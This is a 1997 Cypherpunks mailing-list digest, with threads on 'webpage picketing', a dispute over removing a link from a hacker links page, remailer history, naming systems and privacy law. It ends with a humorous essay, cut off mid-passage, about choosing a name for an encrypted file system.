In-Reply-To: <199706040021.TAA16641@einstein.ssz.com>
Message-ID: <3.0.2.32.19970603194655.008a12f0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:21 PM 6/3/97 -0500, Jim Choate wrote:

>Under what conditions akin to sidewalk use might a provider or network
>provider be forced to provide any user requesting a link to the
>objectionable page with the page of the objecting group.

Let's abandon the meatspace metaphor, and just talk about what you're
proposing - you want to insert third parties into a communication between
two non-consenting parties. 

Why is this useful? I think it sounds like an awful idea.

>What I see is a simple single screen page that immediatly takes you to the
>desired page. Something conceptualy akin to a picket sign.

I don't see any reason to, if we adopt your reasoning, limit this practice
to web pages - shit, we ought to be able to attach things to each other's
E-mail messages, hijack each other's IRC sessions, tack things onto the end
of each other's files sent via FTP, add things to other people's NFS
directory trees .. yeah. 

Who's going to keep track of all of this stuff? Are ISP's and backbone
providers supposed to give other people free hard disk space/connectivity
to do this? Or do you want the government to do it? What about blocking
software, which erases the picketing notices? Will that be allowed?

Conventional picketing works where private space is adjacent to public
space, such that people in the public space can limit access to the private
space, or do things in the public space which are visible to peole in the
private space. Adjacency isn't really meaningful in "cyberspace", because
it depends on arbitrary and changeable "locations" .. and there's very
little "public space" in cyberspace, at least in the way that there's
public space (like streets and roads and parks) in meatspace. 

Do you think we should adopt "bookspace picketing", whereby public
libraries are obligated to include hostile rants with books in their
collections, or even notations that "The Authoritarian League believes this
book is harmful, read _Why I Need Someone to Run My Life_ by Joe Schmo to
learn more"? Perhaps we should implement a program of "wordspace
picketing", whereby we're obligated to, before we orally discuss our own
opinions in a public place, mention the counterarguments made by critics.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 4 Jun 1997 09:30:05 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Hacker Links page (fwd)
Message-ID: <199706040054.TAA16887@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From telecode@primenet.com Tue Jun  3 16:51:58 1997
Message-ID: <33949461.5B@primenet.com>
Date: Tue, 03 Jun 1997 15:02:09 -0700
From: Duffy <telecode@primenet.com>
Reply-To: telecode@primenet.com
Organization: Telecode (http://www.hackerscatalog.com)
X-Mailer: Mozilla 3.0 (Win95; U)
MIME-Version: 1.0
To: James Choate <ravage@einstein.ssz.com>
Subject: Re: Hacker Links page
References: <199706032115.QAA25185@corp.tivoli.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

James,

My most sincere apologies for any personal inconvenience to you in this
matter. The sole purpose of the request was just to ask you to delete a
link to a site. We didn't intend or foresee any problems with the
request, but there were and I believe a more detailed explanation is in
order.

We here at Telecode were notified by Mr. Lancaster several weeks ago
that he wished that the link(s) we had given to his site be removed. No
reason was given, and of course, none was required. We complied within 2
hours of the receipt of the e-mail and removed both links from our 2
site:
	
	http://www.hackerscatalog.com
	
	http://www.cinecam.com


On Monday, Mr. Lancaster did a search at HOTBOT and found another link
to what he "thought" to be a "Mirror" of our site, namely, your web page
with the links. When we looked at the page, we determined that it did
look like or was "close enough" to, our web page of Hackers Links at
www.hackerscatalog.com/web.htm. 

We responded to him via e-mail that more than one person in the past has
posted this page to their site without permission (not needed anyway)
and that on several occasions our entire site has been lifted. We were
not pointing to you specifically, but just speaking in "general terms"
stating that's possibly how the linkage had occurred.

I also remarked that I would do my best to contact and ask that the link
be removed. I did this because it "appeared" to Mr. Lancaster that the
both yours and our site were somehow "connected". Of which, there are
not. We do not claim that there is any copyright infringement on you
part and we also state openly that your are the "true and rightful owner
of that page". We believe, because of the similarity of the pages, that
we had a "responsibility" at least to ask that you remove the link. So,
we did.

Again, I apologize for any inconvenience in this matter.

Duffy 
Office Manager, Telecode
www.hackerscatalog.com





> 
> Hi Duffy,
> 
> > James,
> >
> > With regards to the page URL listed below:
> >
> >       http://einstein.ssz.com/ravage/hacker.html
> >
> > The owner of the site of one the links listed has asked to have their
> > URL removed from this page. Since the source of the page was "The
> > Hackers Catalog", they contacted us. We removed their link promptly,
> > however, a web search showed your URL still remaining on the page. They
> > have asked us to remove all links back to them, so I am asking you to
> > remove the link to the "Guru's Lair" as soon as possible. It's the first
> > one on the top of the page.
> >
> > Thanks for helping...
> >
> > duffy
> > telecode@primenet.com
> 
> Please do not send further email to 'jchoate@tivoli.com' as this has
> nothing to do with my business or the issue under discussion. ALL
> correspondance should occur through 'ravage@ssz.com' or phone at
> 512-451-7087 (8pm - 10pm CST only). Should I receive further email
> at Tivoli - IBM's site I will inform them of the breach on your part.
> 
> First, let's set the record straight. I was NEVER asked to do anything.
> It was DEMANDED that I take the link down. When I explained that I would
> not do that I received an email accussing me of criminal libel. Not what
> I would call a request by any definition of that word. I don't like being
> threatened and it makes me less than cooperative when it happens.
> 
> Furthermore, why should I take it down? Does the owner plan on dropping
> the site and therefore it is a dead link? Certainly I will take it down
> because it reflects badly on me having dead links.
> 
> As to where the html that I currently possess came from originaly, I
> don't have a clue. I received it as a piece of email from somebody quite
> a while ago (memory says over a year). If it really did come from The
> Hackers Catalog and they are claiming copyright on it, I have no problem
> removing their html, I would replace it with the same links using my own
> text and html thereby removing the infringment. Is that what you are
> requesting?
> 
> The next question that needs asked is whether there is any copyrighted
> material other than The Hackers Catalog claim. The link does not use
> any text or graphics from the target site. It furthermore does not even
> explicity identify the link. So it is clear that there is no copyrighted
> material from Don or his site residing on my server.
> 
> So, the remaining question is does Don have the legal right to limit who
> may link to it. I do not believe that Don has any more right to decide
> who can link or furthermore visit his sight than my own. This in effect
> means none.
> 
> I believe the only reasonable responce that I can have to this 'request'
> is to decline on any other issue other than removing the The Hackers
> Catalog and replacing it with my own file.
> 
> So, are you representing The Hackers Catalog and requesting the removal
> of their fragment of html? If so then I have no problem replacing the file
> as soon as I receive a written notice from a legal representative detailing
> the complaint and the time period I have to correct the situation.
> 
> If you are instead representing Don and requesting that I remove that
> specific link because of his disatisfaction with its location then I must
> refuse. I furthermore would request, as I have of Don, to forward me the
> name and number of the appropriate lawyer so that my legal council may
> contact them and begin proceedings.
> 
> Have a nice day.
> 
>                                                Jim Choate
>                                                The Armadillo Group
>                                                ravage@ssz.com
>                                                512-451-7087






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Kirk Fort" <kirkfort@teleplex.net>
Date: Wed, 4 Jun 1997 08:17:23 +0800
To: <cypherpunks@toad.com>
Subject: Re: okc trial
Message-ID: <199706040006.UAA25829@teleplex.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


> You do not question McVeighs guilt?
I do not question McVeighs guilt. I do question that it was a solo act. I
am also not convinced it wasn't a government sting operation gone bad.

> Also, I believe he was tried in Denver, Collorado? - Don`t they use 
> lethal injection?
oh well, not quite as good, but it works none the less. Anyone know the url
to the "means of execution" list?

Kirk


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Wed, 4 Jun 1997 02:39:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: May's Banal Rant
In-Reply-To: <v03102807afb8d61f070a@[207.167.93.63]>
Message-ID: <Pine.HPP.3.91.970603194454.19822D-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 2 Jun 1997, Tim May wrote:

>>I believe I'm under a fair risk of being named as a co-conspirator
>>of Bell's...

But on the contrary, I clearly remember that you were one of very
few who actually warned Jim Bell in clear language that he might be
crossing the line in some particular rants, where he parted from the
more or less pure theoretical level of discussion and hinted 'threats'
at almost-named 'targets'. Of course, he was in many peoples killfiles
and others just wouldn't bother to comment on what was generally looked
upon as lunacy - he has many more 'friends' on the list now than he ever
had before his arrest, and that's understandable (protection of the
right for loons to speak up). Your warning him (twice, I think) was
a show of good-heartedness, really, as he might well have listened more
to you than to those publically dismissing him with just utter disgust
(like Phill Hallam-Baker*).


Asgaard

*Why is it that people of finer (?) English heritage often has a double
second name? Someone once suggested to me that it originates from having
(or an ancestor having) adopted the name of both one's 'marital' father
and one's biological father, for reasons of property inheritance, but
I never believed that one. Just curious.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 4 Jun 1997 11:47:46 +0800
To: telecode@primenet.com
Subject: Re: Hacker Links page
In-Reply-To: <33949461.5B@primenet.com>
Message-ID: <199706040122.UAA17048@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi Duffy,

First, let me say it has been quite pleasant dealing with you on this issue.
I appreciate your even-headed approach.

> My most sincere apologies for any personal inconvenience to you in this
> matter. The sole purpose of the request was just to ask you to delete a
> link to a site. We didn't intend or foresee any problems with the
> request, but there were and I believe a more detailed explanation is in
> order.

Agreed.

> We here at Telecode were notified by Mr. Lancaster several weeks ago
> that he wished that the link(s) we had given to his site be removed. No
> reason was given, and of course, none was required.

Unfortunately in this case my policy was diametricaly opposed to yours.
Unless somebody is a paying customer or has legal justification I don't
comply with a great many external requests, I try to make as few as possible
as well.

I support a wide range of users and they specificaly request that I keep
them up to date with what is going on in a variety of technology areas.
Not only do I send a copius amount of forwards from various mailing lists, 
print sources, etc. but I also keep a webpage with some critical links to
resources they have inquired about. Don's was one of them.

[Deleted chronology]

> I also remarked that I would do my best to contact and ask that the link
> be removed. I did this because it "appeared" to Mr. Lancaster that the
> both yours and our site were somehow "connected". Of which, there are
> not. We do not claim that there is any copyright infringement on you
> part and we also state openly that your are the "true and rightful owner
> of that page". We believe, because of the similarity of the pages, that
> we had a "responsibility" at least to ask that you remove the link. So,
> we did.

A sign of an honorable business.

> Again, I apologize for any inconvenience in this matter.

Not a problem. Sounds like you have been the one inconvenienced by this
the most.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 4 Jun 1997 08:35:12 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Who "invented" remailers?
In-Reply-To: <v03102807afba566172be@[207.167.93.63]>
Message-ID: <199706040027.UAA11558@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



OK I'll partially retract the anti-government ranters comment
since Tim wants to be included in it :-) I think it was clear where
the comment was aimed however...

> The Kleinpaste/Julf "remailer" lacks basic security provisions, and is more
> properly called an "anonymizing service," in my opinion. (I'm not familiar
> with the "Stephi" story, but I know Kleinpaste wrote up a simple
> anonymizing service, which he claims he did in one evening, and decided not
> to support it; he transferred the code to Julf, who supported and (I
> presume) enhanced it, and the rest is history).

All you need to do to have a complete history of the remailer history
is to add in the event that caused Kleinpaste to write the code.. I remember
now, Wizvax may well have been a VMS machine and hence not congenial
to having its code ported off.

It seems that Tim did not explore the less salubrious areas of the net
but the closing down of Wizvax and the first anonymizing mailer was closely
followed by another service whose name I forget but the name Kleinpaste 
certainly rings a bell. 1992 would be about the right time period as
well. Elf Sternberg at Compuserve might well remember the rest of the story.


I agree that the Julf mailer had big problems operations wise but I fear 
that the current mixmaster setup is a bit too unweildy for naive use.
Like PGP I tend to see it as an advert to the authorities that you are 
likely to be up to no good. The CIA can probably find the information they
really want by simply tracking PGP messages on the net and doing trafic 
analysis, same goes for the mixmaster class servers and the problem 
remains that there is no response facility.

I had an idea for an anonymous contact server in the Julf mould that was
resistant to the legal attack. No logs of email addresses would ever
be kept, to retreive responses from the server one would have to send
a retrieval request to it, possibly including a password.

For one time uses this would be enough. But if you wanted to get more
comprehensive deniability you could require use of encryption and 
send back all the messages recieved within a particular partition of
the database. Its pretty difficult to get a good system that allows
a two way communication to be sustained.


The idea was inspired by the crypto-SPAM refusal list that I'm currently
doing a beta test on, try:-

http://etna.ai.mit.edu/SPAM/

Just don't tell the censorware folks...


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 4 Jun 1997 13:29:31 +0800
To: "Peter Trei" <cypherpunks@cyberpass.net
Subject: Re: [OFF-TOPIC] Naming systems...
In-Reply-To: <199706032014.NAA06953@rigel.cyberpass.net>
Message-ID: <v0300781eafba90c30917@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:32 AM -0700 6/3/97, Peter Trei wrote:
>With the old Norse system, still used in Iceland, there is a tremendous
>namespace-collision problem.

There is also a namespace collapse problem in China.  They have a
patrilineal family naming convention much like the one that is common in
the USA.  However the naming system has been stable for thousands of years.
In that time, some names have died out (only girl babies).  They somewhat
avoid the associated namespace collision problem by being imaginative with
given names.

To avoid namespace collapse, you need to continually introduce new names.
If Iceland didn't limit given names, the problem would go away.  For
example: I know a Catnip Echoridge Fredrick.  I bet Catnipsson would expand
the namespace.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 4 Jun 1997 11:37:30 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Webpage picketing...
Message-ID: <199706040156.UAA17179@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

I was just reviewing the various emails on this topic trying to create a
cogent whole, or at least the start of it. Anyway, I realize that at least
one cpunk out there seems to seriously think that I brought this subject up
with regards to the 'criminal libel' issue and wanting to send some sort
of message to others. Hardly. That started yesterday, way after I was already
looking at the issue. Furthermore, I no more want to slap more spin doctor
output in front of others than to have to look at it myself. I was mainly
trying to make a prediction about the future and then seeing, if reasonable,
how long it took.

Perhaps a little explanation is in order. I was going to the grocery store
the other day and the perennial grape picketers were out there. It occured
to me that some comparison between a public sidewalk and a public backbone
could be made. I began to draw comparisons and it became clear that
something was up here. It occurs to me that somebody with the right
motivation might want to claim that they have a right to put a box on such a
backbone (ie stand on the sidewalk in front of the store) and scrape for
particular addresses (ie the business they want to picket). Now the
picketers can't stop anyone from going in the store (ie packets going down
the pipe) by they can attempt to talk to them as well as wave large lettered
signs in their face (ie put a short banner page on their screen). A webpage
could do this by putting up a single page with a continue button (ie a path
to the door of the store). You could no more stop them from searching
packets than you could stop somebody from standing or walking beside you
down a public street.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Wed, 4 Jun 1997 03:22:06 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v0300781bafb9d67eb5c2@[204.91.138.31]>
Message-ID: <Pine.HPP.3.91.970603203022.19822E-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain



Marc Rotenberg wrote:

>Similarly, Anitha Bondestam, director general of the Data Inspection
>Board of Sweden, writes in a recent report, "It is more important
>than ever to bring back anonymity and make more room for personal
>space." She urges her colleagues to sharply limit the collection of
>personal data.

A Swedish free-lance journalist and author of well researched books
on the information society, Anders Olsson, have some interesting
things to say on the likes of Anita Bondestam, from sort of a 'leftish'
democratic viewpoint. He sees the achievements of the 'establishment
privacy mafia' as mainly preventing 'the people' from keeping track of
the wheelings and dealings of the nomenclatura for it's own benifit,
and he doesn't think that this is unintentional.

Data privacy laws are certainly an obstacle for sociologic research,
among other things, and research results can be threatening to
bureaucrats, plutocrats and monopolists.

Laws against matching various 'public' registers for multiple entries
are also making life easier for tax evaders (who might be libertarian
heroes of course, but remember that for most salary-dependent people
of lesser income it works like this: the more the entrepreneurs evade
taxes, the more they have to pay to support the nomenclatura) but
also for welfare cheaters and the like (not libertarian heroes!).


Asgaard








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 12:35:10 +0800
To: cypherpunks@Algebra.COM
Subject: Ranting Anarchists Re: Who "invented" remailers?
In-Reply-To: <199706032129.RAA10938@muesli.ai.mit.edu>
Message-ID: <3.0.1.32.19970603212944.00744870@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:50 PM 6/3/97 -0700, Tim May wrote:
>And so this was very probably what Duncan meant when he said some of the
>ranting faction were the inventors of remailers.
>
>(Both Eric and Hugh are known to rant, or at least have done so at various
>times. Eric had some memorable rants at the 1995 CFP when he loudly
>declared to the National Research Council fact-finding committee, "I am a
>crypto anarchist.")
...
>I'm satisfied with my contributions, even if you think the ranters are
>doing nothing to help the causes you apparently support.

For an almost totally off-topic followup, there was a religious sect
in England in the mid-1600s called the "Ranters"; one of the books by
Quaker writer Robert Barclay is called "Anarchy of the Ranters"
(he was against them ...)

Here on Cypherpunks, we've got the "Ranting of the Anarchists" :-)

Another writer on the Net, who's more pro-Ranter, says that
> No evidence suggests that any Ranter ever took an interest in Islam. 
> However, there exists some reason to believe in connections between 
> Ranterism and piracy. A "Ranter's Bay" in Madagascar sheltered a 
> pirate utopia later in the 17th century, and a number of Ranters were 
> exiled to the Caribbean during the "Golden Age of Piracy" there. 

Nothing new under the Sun...



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Maintenance Account <cpunks@www.video-collage.com>
Date: Wed, 4 Jun 1997 10:37:43 +0800
To: cypherpunks@Algebra.COM
Subject: Cryptographic Mythology (fwd)
Message-ID: <199706040230.WAA12900@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from proff@suburbia.net -----

>From cpunks  Tue Jun  3 12:16:18 1997
From: proff@suburbia.net
Message-ID: <19970603160344.26296.qmail@suburbia.net>
Subject: Cryptographic Mythology
To: firewalls@greatcircle.com
Date: Wed, 4 Jun 1997 02:03:43 +1000 (EST)
X-Mailer: ELM [version 2.4ME+ PL28 (25)]
Sender: owner-cypherpunks@toad.com
Precedence: bulk


Here is something to amuse, delight and horrify - the tail of:

       _One Man's Search for a Cryptographic Mythology_.

I recently wrote a VNODE (4.4bsd) based encrypted file-system. Now
the day dawned when I decided it was high time to discard my rather
egocentric working name _Proffs_ (i.e Proff File System) and cast
about for a decent, respectable name. My first thought on this
matter was:

CERBERUS, n. The watch-dog of Hades, whose duty it was to guard
   the entrance -- against whom or what does not
   clearly appear; everybody, sooner or later, had to go there,
   and nobody wanted to carry off the entrance. Cerberus is known
   to have had three heads, and some of the poets have credited
   him with as many as a hundred.

Only, what was the relation between KERBEROS and CERBERUS? Pups
from the same litter, or was the relationship a little more
incestuous? I had to find out. There was no way - n o  w a y - I'd be
having my encrypted file system playing second fiddle to that evil
authentication beast.

KERBEROS; also spelled Cerberus.  n.  The watch dog of
   Hades, whose duty it was to guard the entrance--against
   whom or what does not clearly appear; . . . it is known
   to have had three heads. . .

Mythology couldn't get any more incestuous than that.

450,000 bytes of Greek polytheism later, and I'm wondering if the
Gods of Olympus really had any high-paid guards to speak of except
the multi-headed mongrel from Hades. I'm feeling down. I'm cursing
the Ancients. I'm disrespectfully humming tunes `All and All it's
Just Another Greek in the Wall', and `Athena be my Lover' when I
discover:

JANUS: in Roman mythology, custodian of the universe, god of
   beginnings. The guardian of gates and doors, he held
   sacred the first hour of the day, first day of the month, and
   first month of the year (which bears his name). He is represented
   with two bearded faces set back to back.

Custodian of the universe. Guardian of gates and doors. Cooool.
Janus.  January. I like it.  Only while I'm liking it, I'm thinking
that I've heard the word Janus a lot before. I'm thinking it isn't
just me who has looked up from the middle of a Greek mythology
text, whilst in the throes of a name hunt with the words "Cooool"
on their tongue.  No: the Gods just don't smile on me that way.
AltaVista confirms the truth of Heaven's bad attitude towards me.
17,423 references.  _The Janus Mutual Trade Fund_, _The Janus
Project_, _Janus ADA95_, a dozen ISPs from Canada (what is it WITH
these Canadians?), _Janus' cool word list_ (turns out to be not so
cool), _The Janus Ensemble_, _Hotel Janus_, _Janus Theatre_,
_janus.com_, _janusfunds.com_, _Janus_ an Australian Police drama
series and of course, the sixth moon of Saturn - _Janus_. Janus is
out-of-the-picture. I'm not sure whether to feel smug or grim about
the rest of the world's lack of originality.

Guards. Guardians. The Greeks didn't have many with bite and I'm
loosing patience with the whole culture. Euphrosyne, Aglaia, and
Thalia do not grace me.  What I need is something that evokes
passion within my cryptographic domain. And when you come down to
it, that means something which produces copious amounts of gore
and blood, at will, from those who would dare to pass its demesne
of protection.

     The Erinyes, or Furies, were three goddesses who punished by
     their secret stings the crimes of those who escaped or defied
     public justice. The heads of the Furies were wreathed with
     serpents, and their whole appearance was terrific and appalling.
     Their names were Alecto, Tisiphone, and Megaera.  They were
     also called Eumenides.

Aye. Plenty of gore there. But somewhat lacking in cryptographic
analogy.  Fantastic material for the group that doesn't meet at
number 41 every Saturday night though. They will appreciate what
the Erinyes were trying to achieve.

Somewhat heartened, my mind turns to the Erinyes' dress sense. "..heads
of the Furies were wreathed with serpents, and their whole appearance
was terrific and appalling". Terrific. Serpents.

Terrific \Ter*rif"ic\, a. [L. terrificus; fr. terrere: to frighten
   + facere: to make. See Terror, and Fact.] Causing
   terror; adapted to excite great fear or dread; terrible; as, a
   terrific form; a terrific sight.

Is it a symptom of society in decay that this word has come to mean:

Excellent \Ex"cel*lent\, a. [F. excellent, L. excellens, -entis,
   p. pr. of excellere. See Excel.] 1. Excelling;
   surpassing others in some good quality or the sum of qualities;
   of great worth; eminent, in a good sense; superior, as an
   excellent man, artist, citizen, husband, discourse, book, song,
   etc.; excellent breeding, principles, aims, action.

Or as Milton would say:

   To love . . . What I see excellent in good or fair.

On the other hand, David Hume (1711-1776):

   The more exquisite any good is, of which a small specimen is
   afforded us, the sharper is the evil, allied to it; and few
   exceptions are found to this uniform law of nature. The most
   sprightly wit borders on madness; the highest effusions of joy
   produce the deepest melancholy; the most ravishing pleasures
   are attended with the most cruel lassitude and disgust; the most
   flattering hopes make way for the severest disappointments. And,
   in general, no course of life has such safety (for happiness is
   not to be dreamed of) as the temperate and moderate, which
   maintains, as far as possible, a mediocrity, and a kind of
   insensibility, in every thing.

Perhaps it is the sign of a brain in decay, rather than a society
that I dwell on it so, because Terrific hair serpents of course
lead unfailing into the arms of the Medusa. A guardian of fearsome
looks, but dubious motivations according to authorities like Clash
of the Titans (1981). A moot point, perhaps as Princeton's
history department no longer wants to talk to me. I'm cast adrift,
to rely on my Plasticine childhood memories and the mythological
swamp of the web.

   NAME: Medusa
   FAVORITE PASTIME: Turning men to stone
   PLACE OF ORIGIN: Los Alamos Secret CIA Lab
   SPECIAL GIFTS: Petrified Aggregate Projectist
   FAVORITE MOVIE: Mighty Morphin' Power Rangers
   GOALS IN LIFE: To be a nice person
   FAVORITE BOOK: Madonna's biography
   PET PEEVE: Bad hair days

Jesus. I've been sucked into comic book hell. Princeton, take me
back.  I won't curse at the ancient Greek's sexual proclivities
anymore. I'm sure chaste marriages were very daunting to those yet
to have them. I was only joking. Lighten up will you?

But, alas, the history faculty however was still nursing its
wounds, and was not ready to forgive me. I'd have to find an
authoritative source somewhere else. Perhaps I could filter out the
comic book hell contaminants and come up with respected history Ivy,
even if it wasn't Princeton Ivy.

   To decapitate - to castrate. The terror of the Medusa is thus
   a terror of castration that is linked to the sight of something.
   The hair upon the Medusa's head is frequently represented in
   works of art in the form of snakes, and these once again are
   derived from the castration complex. It is a remarkable fact
   that however frightening they may be in themselves, they
   nevertheless serve as a mitigation of the horror, for they
   replace the penis, the absence of which is the cause of the
   horror. This is a confirmation of the technical rule according
   to which a multiplication of penis symbols signifies castration.

   Sigmund Freud
   The Medusa's Head

You had to hand it to Sigmund. He was nothing if not authoritative,
and after reading his inspiring words on the terrific serpent haired
woman, it became clear to me that _Proffs_ and the Gorgon had somewhat
unresolved metaphorical incompatibilities. I didn't want my software
giving anyone a castration complex.

I decided to put aside the denizens of Olympus from contest verbatim.
I'd read Fraud on Perversions a few years before and knew Medusa
was just a portent of what was to come.  What I needed was another
polytheist culture entirely.  Latin didn't help me. Nearly all the
Roman Gods had been vilely plagiarised from the Greeks, Latin names
or not.  Freud knew this as well as I did.  The Norse gods were of
little assistance to me.  The only one worth paying school to was
Loki, the Norse god of mischief. Loki was a very cool fellow, which
was why his name has been appropriated as a moniker by virtually
every Bjorn, Sven, and Bob hacker to come out of Scandinavia in
the last 10 years. No, Loki was not for me.

The problem craved for a polytheist mythology outside the realm of
my, and more importantly Sigmund Freud's, Western European upbringing.
The answer to my question was by definition locked within a body of
history I didn't know an onion skin about. In order for the pilgrim
to reach the master he must first place his foot on the path, no
matter how gradual the slope up the mountain of enlightenment. Zen
Buddhism is good like that. Fabricating parables up as you go along
that is.

   Zen master Gutei raised his finger whenever he was asked a
   question about Zen. A young novice began to imitate
   him in this way. When Gutei was told about the novice's imitation,
   he sent for him and asked him if it were true. The novice admitted
   it was so. Gutei asked him if he understood. In reply the novice
   held up his index finger. Gutei promptly cut it off.  The novice
   ran from the room, howling in pain. As he reached the threshold,
   Gutei called, "Boy!". When the novice returned, Gutei raised
   his index finger. At that instant the novice was enlightened.

But wait. This Koan isn't fabricated. At least, not by me. And
unlike most Zen Koan's I think you will agree that it pleasantly
satisfies Schopenhauer's "life, without pain, has no meaning".
However, semantically I'm seeing a very unhealthy correlation to
forgetting one's encryption key and losing one's finger.

My mind is drawn to the memory of the real-life nightmare of laying
in the easy-chair of a Swanston St. hypnotherapist suite, gazing
intently into a bright, but distant red light, while chanting the
mantra "I am not cynical about hypnotherapy. I am not cynical about
hypnotherapy.  I am not cynical about an Indian doctor with a 5th
floor office decorated coup'd'Edelstien. I'm not cynical about a
man who claims that his foremost clientele are rich middle aged women
who have put their jewellery somewhere "safe" and consequently
are unable to recall the location.  I'm not cynical about a
hypnotist who extols the virtues of having a M.D. so his patients
can claim 2/3rds of the cost of these jewellery retrieval sessions
under Medicare. I'm not cynical that these middle aged women are
infact suffering from some form of Mesmer complex.  And by all the
powers in Heaven, I have no pessimism about recalling my god-damned
pass-phrase!".

I never did remember the pass-phrase and you will notice Gutei
keeps very quiet about what he does with the novice's finger. In
this particular case, given the value of the data, I would have
traded placed with Gutei's novice, before you can say "Boy! Was I
enlightened".

I put my chin on my knee, and stare at the grain of my beige
plastic monitor case. Unless I could jump into another reality
it was the end of the line for _Proffs_ and _One Man's Search
for a Cryptographic Mythology_. Boy! Was I bummed. 

One of the great sins of us programmers is procedural thinking.
And it was exactly this sort of folly I was engaging in. There were
around 6 billion other realities going about their business. I
grant you that 2 billion of these were no doubt indulging in the
confusion and diffusion of an avalanche of pseudo-random mental
images and sequences we associate with dreams, and probably another
2 billion busy expanding their minds with the powerful products of
hash or decaying into a compressive state of increasing entropy
and beer rounds. This still left a select 2 billion souls with
which to weave my work.  If I approached them directly rather than
by analysing the information trails they left behind, I'd stand a
good chance of getting my feet onto the path of cryptographic
mythological enlightenment.

I have a Swedish friend who calls himself Elk on odd days and
Godflesh on even days. Don't ask why. As far as I know he's not
bisexual. Elk listened to my quest for cryptographic myth. He
had pondered, and uncovered a diamond in the rough. MARUTUKKU.

  The third name is MARUTUKKU, Master of the arts of protection,
  chained the Mad God at the Battle. Sealed the Ancient Ones in
  their Caves, behind the Gates.

F a r  o u t. Master of the arts of protection. Chained the Mad
God.  Sealed the Ancient Ones in their Caves, behind the Gates.
Even the very word MARUTUKKU looks like it has been run through a
product cipher.

But I wasn't about to trust the work of a self-admitted Swedish
Sumeria freak who was obviously suffering from a bi-polar moniker
disorder. Was it mere coincidence that MARUTUKKU was an anagram
for KUKU MART and KUKU TRAM? I didn't want MARUTUKKU to end up as
another cog in the annals of Freudian analogy. What I
needed was the sort of Authoritative History that only Princeton's
history faculty could provide. The tablets of the Enuma Elish:

  The Akkadian Creation Epic

   Based on the translation of E. A. Speiser, with the additions
   by A. K. Grayson, Ancient Near-Eastern Texts Relating to the
   Old Testament, third edition, edited by James Pritchard (Princeton,
   1969), pp. 60-72; 501-503, with minor modifications.

   This work, the ancient Mesopotamian creation epic consisting of
   seven tablets, tells of the struggle between cosmic order and
   chaos. It is named after its opening words. It was recited on
   the fourth day of the ancient Babylonian New Year's festival.
   The text probably dates from the Old Babylonian period, i.e.,
   the early part of the second millennium B.C.E.

[...]

   The third name is MARUTUKKU  Master of the arts of protection,
   chained the Mad God at the Battle. Sealed the Ancient Ones in
   their Caves, behind the Gates.

[...]

   MARUTUKKU truly is the refuge of his land, city, and people.
   Unto him shall the people give praise forever.

All praise the MARUTUKKU! My search had born a ripe and tasty
fruit indeed. The quest for a cryptographic mythology was
complete. Or was it? The words of Hume kept coming back to me
and I had a nagging feeling that there was some substance in
them.

If MARUTUKKU was my exquisite cryptographic good, of wit, effusive
joy, ravishing pleasure and flattering hope; then where was the
counter point? The figure to its ground - the sharper evil, the
